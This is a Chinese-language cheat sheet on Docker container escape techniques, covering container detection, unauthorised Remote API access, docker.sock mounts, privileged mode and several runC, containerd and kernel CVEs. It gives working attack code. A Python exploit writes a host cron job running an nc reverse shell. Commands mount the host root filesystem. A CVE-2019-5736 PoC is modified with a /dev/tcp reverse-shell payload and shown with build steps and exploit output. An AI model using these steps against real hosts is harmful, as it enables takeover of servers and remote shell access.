0x00 檢查是否在docker容器中
通過以下兩個地方來判斷
# 是否存在此文件
/.dockerenv
# 在其中是否包含docker字符串
/proc/1/cgroup
除了上面兩種外還有其他方式判斷,如檢測mount、fdisk -l查看硬盤 、判斷PID 1的進程名等也可用來輔助判斷。
容器逃逸一鍵檢測
https://github.com/Xyntax/CDK/releases/tag/0.1.6
0x01 Docker Remote API 未授權訪問
Docker Remote API 可以執行 Docker 命令,Docker 守護進程監聽在 0.0.0.0,可直接調用 API 來操作 Docker
Docker Remote API 是一個取代遠程命令行界面(rcli)的REST API。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感信息泄露,攻擊者也可以刪除Docker上的數據。 攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感信息,或對敏感文件進行修改,最終完全控制服務器
漏洞判斷
# 返回目標宿主機運行容器信息,漏洞存在
# 這個命令和在宿主機上運行docker ps類似
docker -H tcp://172.19.101.34:2375 ps
exp:
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontab" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
0x02 docker.sock掛載到容器內部
當這樣掛載時,在docker容器中可以調用和執行宿主機的docker
將docker宿主機的docker文件和docker.sock文件掛載到容器中
在容器中查看宿主機docker信息
docker -H unix:///var/run/docker.sock info
運行一個新容器並掛載宿主機根路徑:
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
在新容器的 /test 目錄下,就可以訪問到宿主機的全部資源,接下來就是寫入 SSH 密鑰或者寫入計划任務,獲取 shell
0x03 Docker 高危啟動參數
特權模式 –privileged
使用特權模式啟動的容器時,docker 管理員可通過 mount 命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,此外還可以通過寫入計划任務等方式在宿主機執行命令
0x04 Docker 軟件設計引起的逃逸
1.4.1 CVE-2019-5736
CVE-2019-5736 是 runC 的 CVE 漏洞編號,runC 最初是作為 Docker 的一部分開發的,后來作為一個單獨的開源工具和庫被提取出來,在 docker 整個架構的運行過程中,Containerd 向 docker 提供運行容器的 API,二者通過 grpc 進行交互。containerd 最后通過 runc 來實際運行容器。
影響版本:
- docker version <=18.09.2
- RunC version <=1.0-rc6
利用條件:
攻擊者可控 image,進一步控制生成的 container
攻擊者具有某已存在容器的寫權限,且可通過 docker exec 進入
# 下載 poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"
# 編譯生成 payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# 拷貝到 docker 容器中執行
docker cp ./main 248f8b7d3c45:/tmp
在容器中執行
root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc8201231e0}
當管理員通過exec進入容器的時候,觸發payload,從而達到逃逸
1.4.2 CVE-2019-14271
Copy命令允許從容器、向容器中、或容器之間復制文件。語法與標准的unix cp命令非常相似。要從容器中復制/var/logs
,語法是docker cp container_name:/var/logs /some/host/path
。
可能的攻擊場景有Docker用戶從另一個Docker處復制文件:
- 容器運行含有惡意libnss_*.so庫的鏡像
- 容器中含有被攻擊者替換的libnss_*.so庫
https://xz.aliyun.com/t/6806
docker-cp逃逸分析
1.4.3 CVE-2019-13139
https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/
1.4.4 CVE-2020-15257
Containerd 是一個控制 runC 的守護進程,提供命令行客戶端和API,用於在一個機器上管理容器。在特定網絡條件下,攻擊者可通過訪問containerd-shim API,從而實現Docker容器逃逸
影響版本:
- containerd < 1.4.3
- containerd < 1.3.9
0x05 內核漏洞
1.5.1 CVE-2016-5195
Dirty Cow(CVE-2016-5195)是 Linux 內核中的權限提升漏洞,通過它可實現 Docker 容器逃逸,獲得 root 權限的 shell。
Docker與宿主機共享內核,因此容器需要運行在存在Dirty Cow漏洞的宿主機里
0x06 docker管理平台
1.6.1portainer后台拿shell
創建容器掛載宿主機目錄,通過chroot切換Shell